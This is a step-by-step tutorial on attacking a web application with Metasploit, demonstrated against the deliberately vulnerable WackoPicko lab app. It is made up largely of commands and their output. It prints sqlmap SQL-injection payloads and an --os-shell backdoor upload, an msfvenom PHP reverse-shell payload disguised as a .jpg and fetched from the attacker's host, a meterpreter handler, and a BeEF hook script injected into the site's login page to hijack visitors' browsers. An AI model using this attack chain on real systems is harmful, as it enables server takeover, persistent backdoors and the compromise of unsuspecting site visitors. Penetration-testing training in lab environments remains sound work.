How to hack a website with Metasploit

By Sumedt Jitpukdebodin 

Normally, Penetration Tester or a Hacker use Metasploit to exploit vulnerability services in the target server or to create a payload to make a backdoor in the hacked server. But Metastploit has improved with many plugins and modules and now it can do more than that. It can be used to pentest web applications too.

In this article, I will show you how to use Metasploit for scanning to get the information of web server and use Metasploit to be a vulnerability assessment of web application.

Scenario

In this article, we will try to attack client who use this vulnerability server. And this is the detail of character in this scenario.

1.Attacker Machine - Backtrack 5 R3 192.168.1.137

2.Target – WackoPicko web application (one of website in OWASP Broken Web Application v1.0) 192.168.1.138

Scanning Phase

First thing when you want to hack server, you must get the information of target as much as you can. So the first thing we must do is scan server. Metastploit has “db_nmap” a module that use to run nmap (the most famous scanning tool) and when it gets the result from nmap, it is putting the results into the database which was created to keep the results. Follow these steps:

1.Open Metasploit console

                              root@bt:/ msfconsole

2.In the Metasploit console use db_nmap command with IP Address of target machine.

                              msf > db_nmap

                             [*] Usage: db_nmap [nmap options]

msf > db_nmap 192.168.77.138

3.We can check the result of scanning with “hosts” command.

 msf > hosts –h

msf> hosts

4.You can use “services” command to receive a detail of services. And it has “created_at, info, name, port, proto, state, updated_at” column for display .

msf > services –h

msf > services

msf> services -c port,name,state

From above, the result show that the target server has web service. Metasploit has module for crawling a website too.

1.Pick up the auxiliary/scanner/http/crawler module.

                                   msf> use auxiliary/scanner/http/crawler

2.Specific the target with RHOST

                              msf auxiliary(crawler) > set RHOST 192.168.77.138

In this article, we focus to WackoPicko web application and we will specific it with URI msf auxiliary(crawler) > set URI /WackoPicko/

3.Start crawling website

                        msf auxiliary(crawler) > run

From this phase, you can get the information from server and web application. The next phase, we will use the information for attack it.

Exploit Phase

In this phase, we will try to attack it with vulnerability scanning module of Metasploit and try to use it with another attack tool.

WMAP Plugin

"WMAP is a general purpose web application scanning framework for Metasploit 3. The architecture is simple and its simplicity is what makes it powerful. It's a different approach compared to other open source alternatives and commercial scanners, as WMAP is not build around any browser or spider for data capture and manipulation.", we will use this module to vulnerability scanning website. The step are

1.load wmap modules

                       msf auxiliary(crawler) > load wmap

2.In the scanning phase, we has already crawling the web and it keeps all information into database. WMAP Plugin can read it to learn the structure of web application. And you can display detail of web application with wmap_sites command.

msf auxiliary(crawler) > wmap_sites

msf auxiliary(crawler) > wmap_sites –l

3.If you want to see the structure of web application, you can use wmap_sites command.

                     wmap_sites -s [target_id]

                                    msf auxiliary(crawler) > wmap_sites -s 0

4.Now we are ready for scanning, so we will specific the target of web application with wmap_targets command.

msf auxiliary(crawler) > wmap_targets

msf auxiliary(crawler) > wmap_targets –t

5.Start automate vulnerability scan with wmap_run command.

msf auxiliary(crawler) > wmap_run

msf auxiliary(crawler) > wmap_run –e

6.After finished scan, you can check the result of scan with wmap_vulns

 msf auxiliary(crawler) > wmap_vulns –l

From the result, we know some vulnerability of this web application such as “sensitive file or directory”, “admin directory”, “back up directory”, “SQL Injection vulnerability page”, etc. Now you can try to attack it from this result.

SQL Injection with Metasploit

If you want to test the parameter that has SQL Injection vulnerability or not, you can try to test it with Metasploit too. I will use auxiliary/scanner/http/blind_sql_query module for this test.

1.After we scan with WMAP Plugin, we know that http://192.168.77.138/WackoPicko/users/login.php has SQL Injection vulnerability and it has two parameter: username, password. Now we try to test username parameter with auxiliary/scanner/http/blind_sql_query module.

msf > use auxiliary/scanner/http/blind_sql_query

msf auxiliary(blind_sql_query) > show options

2.Specific the environment of target page.

msf auxiliary(blind_sql_query) > set DATA

username=hacker&password=password&submit=login

msf auxiliary(blind_sql_query) > set METHOD POST

msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php

msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138

3.Start to test.

msf auxiliary(blind_sql_query) > run

The result is “username” parameter has SQL Injection vulnerability. You can test another SQL Injection technique [ Error Based Technique] with auxiliary/scanner/http/error_sql_injection module.

Now we know “username” parameter of users/login.php page has vulnerability and we use this vulnerability to owning the website with sqlmap. SQLMap is the famous tool for SQL Injection and it great work with Metasploit.

1. we will use 3 options of sqlmap for this attack.

-u URL                           target url

-data=DATA                  Data string to be sent through POST

-random-agent                Use randomly selected HTTP User-Agent header

--os-shell                        Prompt for an interactive operating system shell

2. Now, run the sqlmap with detail that we have. After this command, if the user that used for this application has enough privilege, you can get the shell.(this below is the output from SQLMap process for upload shell.)

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u

"http://192.168.77.138/WackoPicko/users/login.php" --data

"username=hacker&password=password&submit=login" --os-shell

sqlmap/1.0-dev-4649450 - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:21:05

[10:21:05] [INFO] resuming back-end DBMS 'mysql'

[10:21:05] [INFO] testing connection to the target url

sqlmap got a 303 redirect to

'http://192.168.77.138:80/WackoPicko/users/home.php'. Do you want to follow?

[Y/n] Y

[10:21:07] [INFO] heuristics detected web page charset 'None'

[10:21:07] [INFO] heuristics detected web page charset 'ascii'

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: POST

Parameter: username

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: username=hacker' AND 2163=2163 AND

'YJxM'='YJxM&password=password&submit=login

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: username=hacker' AND (SELECT 3246 FROM(SELECT

COUNT(*),CONCAT(0x3a6377663a,(SELECT (CASE WHEN (3246=3246) THEN 1

ELSE 0 END)),0x3a6268653a,FLOOR(RAND(0)*2))x FROM

INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'oBNd'='oBNd&password=password&submit=login

---

[10:21:07] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP 5.3.2, Apache 2.2.14

back-end DBMS: MySQL 5

[10:21:07] [INFO] going to use a web backdoor for command prompt

[10:21:07] [INFO] fingerprinting the back-end DBMS operating system

[10:21:07] [INFO] the back-end DBMS operating system is Linux

[10:21:07] [INFO] trying to upload the file stager

which web application language does the web server support?

[1] ASP

[2] ASPX

[3] PHP (default)

[4] JSP

> 3

[10:21:09] [WARNING] unable to retrieve the web server document root

please provide the web server document root [/var/www/]:

[10:21:10] [WARNING] unable to retrieve any web server path

please provide any additional web server full path to try to upload the agent [Enter

for None]:

[10:21:10] [WARNING] unable to upload the file stager on '/var/www'

[10:21:10] [INFO] the file stager has been successfully uploaded on

'/var/www/WackoPicko/users' -

http://192.168.77.138:80/WackoPicko/users/tmputgqe.php

[10:21:10] [INFO] the backdoor has been successfully uploaded on

'/var/www/WackoPicko/users' -

http://192.168.77.138:80/WackoPicko/users/tmpblzgg.php

[10:21:10]

Now we're in the target machine, we will create backdoor for make it easier to connect back and easier to compromise this machine.

3. We will create backdoor with Metasploit(msfvenom command).

root@bt:~# msfvenom

no options

Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>

Options:

-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom

payloads

-l, --list [module_type] List a module type example: payloads, encoders,

nops, all

-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload

-f, --format [format] Output format (use --help-formats for a list)

-e, --encoder [encoder] The encoder to use

-a, --arch [architecture] The architecture to use

--platform [platform] The platform of the payload

-s, --space [length] The maximum size of the resulting payload

-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'

-i, --iterations [count] The number of times to encode the payload

-c, --add-code [path] Specify an additional win32 shellcode file to include

-x, --template [path] Specify a custom executable file to use as a template

-k, --keep Preserve the template behavior and inject the payload as

a new thread

-o, --options List the payload's standard options

-h, --help Show this message

--help-formats List available formats

root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137

LPORT=443 -f raw > /var/www/bd.php

root@bt:~# mv /var/www/bd.php /var/www/bd.jpg

4. In the shell of target machine, download the backdoor and change it to bd.php.

os-shell> wget http://192.168.77.137/bd.jpg

do you want to retrieve the command standard output? [Y/n/a] Y

command standard output:

---

--2012-08-26 23:47:21-- http://192.168.77.137/bd.php

Connecting to 192.168.77.137:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 10 [text/html]

Saving to: `bd.php'

0K 100% 2.04M=0s

2012-08-26 23:47:21 (2.04 MB/s) - `bd.php' saved [10/10]

---

os-shell> pwd

do you want to retrieve the command standard output? [Y/n/a] y

command standard output: '/owaspbwa/owaspbwasvn/

var/www/WackoPicko/users'

os-shell> mv bd.jpg bd.php

do you want to retrieve the command standard output? [Y/n/a] y

No output

5. Create the handler for waiting connection back from bd.php.

root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp

LHOST=192.168.77.137 LPORT=443 E

[*] Please wait while we load the module tree...

IIIIII dTb.dTb _.---._

II 4' v 'B .'"".'/|`.""'.

II 6. .P : .' / | `. :

II 'T;. .;P' '.' / | `.'

II 'T; ;P' `. / | .'

IIIIII 'YvP' `-.__|__.-'

I love shells --egypt

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[ 932 exploits - 499 auxiliary - 151 post

+ -- --=[ 251 payloads - 28 encoders - 8 nops

=[ svn r15753 updated 11 days ago (2012.08.16)

Warning: This copy of the Metasploit Framework was last updated 11 days ago.

We recommend that you update the framework at least every other day.

For information on updating your copy of Metasploit, please see:

https://community.rapid7.com/docs/DOC-1306

PAYLOAD => php/meterpreter/reverse_tcp

LHOST => 192.168.77.137

LPORT => 443

[*] Started reverse handler on 192.168.77.137:443

[*] Starting the payload handler...

  

6. Run the backdoor with your web browser. And now you will get the meterpreter in you metsaploit console

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[ 932 exploits - 499 auxiliary - 151 post

+ -- --=[ 251 payloads - 28 encoders - 8 nops

=[ svn r15753 updated 11 days ago (2012.08.16)

Warning: This copy of the Metasploit Framework was last updated 11 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC-1306

PAYLOAD => php/meterpreter/reverse_tcp

LHOST => 192.168.77.137

LPORT => 443

[*] Started reverse handler on 192.168.77.137:443

[*] Starting the payload handler...

[*] Sending stage (39217 bytes) to 192.168.77.138

[*] Meterpreter session 1 opened (192.168.77.137:443 -> 192.168.77.138:42757) at

2012-08-27 11:05:31 +0700

meterpreter >

Now you are in the owning machine and can do everything you want with Metasploit. In the next, we will use BeEF to compromise the victim who visit website of this machine.

Metasploit with BeEF plugin

And the last of this article, we will use Metasploit with BeEF(Browser Exploit Framework). So what is BeEF. “BeEF hooks one or more web browsers as beachheads for the launching of directed command modules. Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors.”

1.Run the beef service

root@bt:/pentest/web/beef# ./beef -x -v

2.Go to Metasploit plugin path and download BeEF plugin of Metasploit from

“https://github.com/xntrik/beefmetasploitplugin.git”

$ cd /pentest/exploits/framework/msf3

$ git clone https://github.com/xntrik/beefmetasploitplugin.git

Initialized empty Git repository in /opt/metasploit/msf3/beefmetasploitplugin/.git/

3.Move file beef.rb to msf/plugins and lib/beef to msf/lib

$ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/

$ root@bt:/pentest/exploits/framework/msf3# mv

beefmetasploitplugin/plugins/beef.rb plugins/

4.Install hpricot,json gem

$ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json

5.In the Metasploit console, load BeEF plugin.

msf > load beef

6.Connect to BeEF

msf > beef_connect

msf > beef_connect http://127.0.0.1:3000 beef beef

7. In this step, we want to run the BeEF script on any client who visit the login page. Back to the shell meterpreter that you got in the last phase of sqlmap attack. Download login.php page. Add the script <script src='http://192.168.77.137:3000/hook.js></script>

into the file and upload it to host.

meterpreter > download login.php .

[*] downloading: login.php -> ./login.php

[*] downloaded : login.php -> ./login.php

root@bt:~# echo "<script src='http://192.168.77.137:3000/hook.js></script>" >>

login.php

meterpreter > upload login.php .

[*] uploading : login.php -> .

[*] uploaded : login.php -> ./login.php

meterpreter >

Now when victim visit the login page, he will run the script of BeEF.

8.Go to BeEF web management interface

(http://127.0.0.1:3000/ui/panel), login with username “beef” and password

“beef”

9.If someone visit login.php page, he will attacked by BeEF and in the left panel of BeEF will show the list of victim.

If you want to see the detail of victim, just click it. The detail of victim will appear in the right panel.

So you can check the list of victim from Metasploit console too, with beef_online command.

 msf > beef_online

And if you want to check the detail of victim in Metasploit console, use beef_target command

msf > beef_target

msf > beef_target -i 0

10.Now you can run the command of BeEF with beef_target command

 msf > beef_target -c 0 47

fter run the beef_target command, in the BeEF's console, BeEF will use “Man-In The_Browser” command to victim.

Conclusion

Now you know that Metasploit can do everything you want for penetration testing in web application but it has the limited too. It cannot test all the vulnerability types of web application but it can support another tool for it such as it cannot test Cross-Site Scripting but you can use it to own client with the Metasploit + BeEF, it cannot test Remote File Inclusion but it can create a backdoor payload php for it. But in the future, I think Metasploit may be test all of them. If you want to start to learn how to attack in computer, Metasploit will be the great choice to learn everything about attack surfaces of computer.

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